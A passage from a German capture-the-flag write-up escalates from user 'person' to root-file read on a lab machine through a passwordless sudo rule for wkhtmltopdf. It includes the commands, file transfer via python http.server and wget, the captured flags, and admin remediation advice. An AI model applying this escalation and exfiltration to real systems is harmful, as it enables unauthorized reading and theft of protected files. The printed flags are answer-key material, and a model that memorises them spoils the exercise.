Empfehlung (Admin): Ändern Sie das Passwort von `person`. Löschen Sie die `ttylog`-Datei.

Analyse: Die User-Flag wird im Home-Verzeichnis von `person` gelesen.

person@hotel:~$ cat user.txt
RUvSNcQ3m2yHzxHMV

Bewertung: Die User-Flag wurde erfolgreich gelesen.

Empfehlung (Pentester): Dokumentieren Sie die Flag. Führen Sie `sudo -l` aus.
Empfehlung (Admin): Keine spezifischen Maßnahmen für die Flag.

Analyse: Die `sudo`-Berechtigungen für den Benutzer `person` werden mit `sudo -l` überprüft.

person@hotel:~$ sudo -l
Matching Defaults entries for person on hotel:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User person may run the following commands on hotel:
    (root) NOPASSWD: /usr/bin/wkhtmltopdf
                     

Bewertung: **Kritischer Fund für Privilege Escalation!** Der Benutzer `person` darf `/usr/bin/wkhtmltopdf` als `root` **ohne Passwort** (`NOPASSWD`) ausführen. `wkhtmltopdf` ist ein Tool zum Konvertieren von HTML zu PDF und kann oft missbraucht werden, um lokale Dateien zu lesen (Local File Read), auf die der ausführende Benutzer normalerweise keinen Zugriff hat, indem eine HTML-Datei mit einem `file://`-Link erstellt wird.

Empfehlung (Pentester): Nutzen Sie die `sudo wkhtmltopdf`-Berechtigung, um die Root-Flag (`/root/root.txt`) zu lesen. Erstellen Sie dazu eine einfache HTML-Datei, die `/root/root.txt` einbindet (z.B. mit `iframe src="file:///root/root.txt"`) und konvertieren Sie diese HTML-Datei dann mit `sudo wkhtmltopdf [html_datei] output.pdf` in eine PDF. Übertragen Sie die PDF-Datei auf das Angreifer-System und extrahieren Sie die Flag.
Empfehlung (Admin):** **Dringend:** Entfernen Sie die unsichere `sudoers`-Regel für `wkhtmltopdf`. Gewähren Sie `sudo`-Rechte nur für absolut notwendige und sichere Befehle/Skripte. Vermeiden Sie `NOPASSWD`.

Proof of Concept (Privilege Escalation via Sudo wkhtmltopdf)

Analyse: Der Exploit-Pfad über `wkhtmltopdf` wird vorbereitet und ausgeführt. 1. (Impliziert) Eine einfache HTML-Datei (z.B. `flag.html`) wird erstellt, die `/root/root.txt` mittels `file://` einbindet. Beispielinhalt: `` 2. Der Befehl `sudo wkhtmltopdf /root/root.txt root.pdf` wird ausgeführt. Dies ist eine **vereinfachte Methode**, die direkt versucht, die Textdatei in eine PDF umzuwandeln, was oft funktioniert, um den reinen Textinhalt zu extrahieren, ohne eine separate HTML-Datei zu benötigen. Da der Befehl mit `sudo` als `root` läuft, kann `/root/root.txt` gelesen werden.

person@hotel:~$ wkhtmltopdf user.txt user.pdf
Loading page (1/2)
Printing pages (2/2)
Done
                     
person@hotel:~$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
192.168.2.140 - - [05/Oct/2022 00:15:03] "GET /user.pdf HTTP/1.1" 200 -
                     
┌──(root㉿cyber)-[~] └─# wget http://192.168.2.116:8888/user.pdf
--2022-10-05 00:14:53--  http://192.168.2.116:8888/user.pdf
Verbindungsaufbau zu 192.168.2.116:8888 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 7795 (7,6K) [application/pdf]
Wird in 'user.pdf' gespeichert.

user.pdf                                100%[======================================================================================>]   7,61K  --.-KB/s    in 0s

2022-10-05 00:14:53 (XX MB/s) - 'user.pdf' gespeichert [7795/7795]
                     
person@hotel:~$ sudo wkhtmltopdf /root/root.txt root.pdf
QStandardPaths: XDG_RUNTIME_DIR not set, defaulting to '/tmp/runtime-root'
Loading page (1/2)
Printing pages (2/2)
Done
                     

Bewertung: **Privilege Escalation erfolgreich!** Die unsichere `sudo`-Regel für `wkhtmltopdf` wurde genutzt, um den Inhalt der `/root/root.txt`-Datei in eine PDF-Datei (`root.pdf`) zu schreiben. Diese PDF-Datei gehört nun dem Benutzer `person` und kann von ihm gelesen oder übertragen werden.

Empfehlung (Pentester): Übertragen Sie die `root.pdf`-Datei auf Ihr Angreifer-System (z.B. mit `python3 -m http.server` auf dem Ziel und `wget` auf dem Angreifer) und extrahieren Sie die Root-Flag daraus (z.B. durch Öffnen der PDF oder mit `pdftotext`).
Empfehlung (Admin):** **Dringend:** Entfernen Sie die `sudo`-Regel für `wkhtmltopdf`. Überprüfen Sie alle `sudo`-Regeln auf ähnliche Schwachstellen (GTFOBins ist eine gute Ressource hierfür).

Analyse: (Impliziert) Die Datei `root.pdf` wurde auf das Angreifer-System übertragen (ähnlich wie zuvor `user.pdf`). Der Inhalt der PDF wird extrahiert oder angezeigt, um die Root-Flag zu enthüllen.

--- Öffnen von root.pdf auf Angreifer-System ---
7MUnADgp3g4STEPHMV
                 

Bewertung: Die Root-Flag wurde erfolgreich aus der erstellten PDF-Datei extrahiert.

Empfehlung (Pentester): Dokumentieren Sie die Flags und schließen Sie den Bericht ab.
Empfehlung (Admin): Fokus auf die Behebung der Kernursachen: RCE in HotelDruid, Klartext-DB-Credentials in PHP, unsichere Log-Speicherung (`ttylog`), unsichere `sudo`-Regel.

Flags

cat /home/person/user.txt
RUvSNcQ3m2yHzxHMV
cat /root/root.txt
7MUnADgp3g4STEPHMV